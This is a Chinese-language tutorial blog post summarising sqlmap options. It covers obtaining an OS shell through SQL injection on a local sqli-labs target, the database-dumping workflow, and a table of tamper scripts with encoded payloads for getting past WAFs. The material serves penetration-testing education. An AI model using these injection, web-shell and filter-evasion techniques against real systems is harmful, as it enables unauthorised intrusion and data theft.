原文作者: Ywc
原文链接: https://yinwc.github.io/2018/07/05/tooluse(sqlmap)/
发表日期: July 5th 2018, 1:20:40 pm
版权声明:
sqlmap使用总结
选项
–version
显示程序的版本号并退出-h, –help
显示此帮助消息并退出-v VERBOSE
详细级别:0-6(默认为1)
Target(目标)
以下至少需要设置其中一个选项,设置目标 URL。
1 | -d DIRECT 直接连接到数据库。 |
Request(请求)
这些选项可以用来指定如何连接到目标URL。
1 | –data=DATA 通过 POST 发送的数据字符串 |
Optimization(优化)
这些选项可用于优化 sqlmap.py 的性能。
1 | -o 开启所有优化开关 |
Injection(注入)
这些选项可以用来指定测试哪些参数,提供自定义的注入 payloads 和可选篡改脚本。
1 | -p TESTPARAMETER 可测试的参数 |
Detection(检测)
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容
1 | –level=LEVEL 执行测试的等级(1-5,默认为 1) |
这些选项可用于调整具体的 SQL 注入测试
1 | –technique=TECH SQL 注入技术测试(默认 BEUST) |
不加参数默认测试所有注入技术:
不加参数默认测试所有注入技术:
1 | B: 基于布尔的 SQL 盲注 |
1 | –time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒) |
Fingerprint(指纹)
1 | -f, –fingerprint 执行检查广泛的 DBMS 版本指纹 |
Enumeration(枚举)
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的 SQL 语句。
1 | -b, –banner 检索数据库管理系统的标识 |
Brute force(蛮力)
这些选项可以被用来运行蛮力检查。
1 | – -tables 检查存在共同表 |
User-defined function injection(用户自定义函数注入)
这些选项可以用来创建用户自定义函数。
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
1 | –udf-inject 注入用户自定义函数 |
File system access(访问文件系统)
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
1 | –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 |
[*]Operating system access(操作系统访问)
这些选项可以用于访问后端数据库管理系统的底层操作系统。
1 | –os-cmd=OSCMD 执行操作系统命令 |
-os-shell
的使用
https://blog.csdn.net/qq_61237064/article/details/124154956
1 | 使用前提 |
满足条件后
1.注入
先对注入点探测
1 | sqlmap -u http://127.0.0.1/sqli-lab/less-1/?id=1" |
然后执行--os-shell
1 | sqlmap -u http://127.0.0.1/sqli-lab/less-1/?id=1" --os-shell |
选择php语言
接着这个参数是选择绝对路径
1 | 选项一为用这几个路径 |
我们满足前提的话,选择2,直接输入自己知道的路径
到这就完成了--os-shell
的执行,来看看在sqlmap
的执行效果
对于上传的两个文件tmpugvzq.php
和tmpbylqf.php
我们在数据包中就可以看到,只需要解码就可以得到内容
tmpugvzq.php
1 | 0x |
根据上面的mysql
语句,不难看出这是利用into outfile
写入文件
tmpbylqf.php
1 |
|
这是一个用于命令执行的代码,命令执行后会将执行的结果输出。
直接在网站访问这两个shell
文件就可以看到了
一个提供了一个上传文件的入口,一个提供了一个以cmd
参数的命令执行窗口
1 | 成功后会在网站绝对路径下,生成两个文件,一个可以上传,一个可以执行命令。 |
【如果没看到,可以查看wireshark
或者先bp
抓包数据流并时刻开启监听】
这个时候sqlmap主要做了三件事情:
1 | 1、进行目标的一个基础信息的探测。 |
2.Database
数据库支持外连,通过Sqlmap
执行--os-shell
获取shell
。
必要条件:
1 | 数据库支持外连 |
Mysql
和sqlsever
两者的情况不同,详细建议看文章学习
Windows 注册表访问
这些选项可以被用来访问后端数据库管理系统Windows 注册表。
1 | –reg-read 读一个Windows 注册表项值 |
General(一般)
这些选项可以用来设置一些一般的工作参数。
1 | -t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中 |
Miscellaneous(杂项
1 | –beep 发现 SQL 注入时提醒 |
制定测试的种类
1 | –technique=TECH SQL注入技术测试(默认 BEUST) |
不加参数默认测试所有注入技术:
1 | B: 基于布尔的 SQL 盲注 |
sqlmap 判断waf
1 | sqlmap -u "http://www.test.com/" --identify-waf --batch |
一般注入流程
以mysql为例
1.验证注入
1 | sqlmap -u “注入点URL” |
从中可以发现存在注入的类型,数据库类型和web应用程序PHP和Apache等版本信息。
2.列举数据库名
1 | sqlmap -u "注入点" --dbs |
3.查询某一数据库的所有表名
1 | sqlmap -u "注入点" -D 数据库名 --tables |
4.列举这一数据库的表的所有列(字段)
1 | sqlmap -u "注入点" -D 数据库名 -T 表名 --columns |
5.暴字段内容
1 | sqlmap -u "注入点" -D 数据库名 -T 表名 -C "要爆的字段名" --dump |
爆一个字段的话可能会很慢或者出错,全部暴出最好。
可以在后面加个 –batch 可以不用手动选择yes或no的选项。
sqlmap tamper 的使用
可以进行各种绕过防火墙和waf
1 | --tamper xxx.py (.py可以不加) |
eg:python sqlmap.py -u “” – tamper base64encode.py
1.普通的tamper
搭配方式:
1 | tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode, |
2.数据库为MSSQL
的搭配方式:
1 | tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces, |
3.数据库为Mysql
的搭配方式:
1 | tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike, |
4.常用脚本用法:
apostrophemask.py UTF-8编码
apostrophenullencode.py unicode编码
appendnullbyte.py 添加%00
base64encode.py base64编码
between.py 以”not between”替换”>“
bluecoat.py 以随机的空白字符替代空格,以”like”替代”=“
chardoubleencode.py 双重url编码
charencode.py url编码
charunicodeencode.py 对未进行url编码的字符进行unicode编码
equaltolike.py 以”like”替代”=“
halfversionedmorekeywords.py在每个关键字前添加条件注释
ifnull2ifisnull.py 以”IF(ISNULL(A), B, A)”替换”IFNULL(A, B)”
modsecurityversioned.py 条件注释
modsecurityzeroversioned.py 条件注释,0000
multiplespaces.py 添加多个空格
nonrecursivereplacement.py 可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)
percentage.py 在每个字符前添加百分号(%)
randomcase.py 随即大小写
randomcomments.py 随机插入区块注释
sp_password.py 语句结尾添加”sp_password”迷惑数据库日志(很。。。)
space2comment.py 以区块注释替换空格
space2dash.py 以单行注释”–”和随机的新行替换空格
space2hash.py 以单行注释”#”和由随机字符组成的新行替换空格
space2morehash.py 没看出来和上面那个有什么区别。。
space2mssqlblank.py 以随机空白字符替换空格
space2mssqlhash.py 以单行注释”#”和新行替换空格
space2mysqlblank.py 以随机空白字符替换空格
space2mysqldash.py 以单行注释和新行替换空格
space2plus.py 以”+”替换空格
space2randomblank.py 随机空白字符替换空格
unionalltounion.py 以”union all”替换”union”
unmagicquotes.py 以”%bf%27”替换单引号,并在结尾添加注释”–”
versionedkeywords.py 对不是函数的关键字条件注释
versionedmorekeywords.py 对关键字条件注释
整理脚本如下:
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|---|
all | 1 | apostrophemask.py | 用utf8代替引号 | (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’ |
2 | base64encode.py | 用base64编码替换 | (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ | |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’ | |
4 | space2plus.py | 用+替换空格 | (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’ | |
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters | (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’ | |
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’ | |
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’ | |
8 | securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’” | |
mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | ‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’ |
2 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 | |
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
4 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
5 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
6 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | (‘1 AND 9227=9227– ‘) ‘1 AND 9227=9227– sp_password’ | |
8 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
9 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
10 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ | |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’ | |
5 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’ | |
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
8 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’ | |
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’ | |
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’ | |
12 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
13 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
14 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/!UNION!ALL!SELECT!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# | |
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
17 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
18 | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/!UNION!ALL!SELECT!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))# | |
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa |
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa” | |
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
4 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
5 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
6 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
6 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) ‘1 AND 1=1%00’ |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | |
unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | ||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |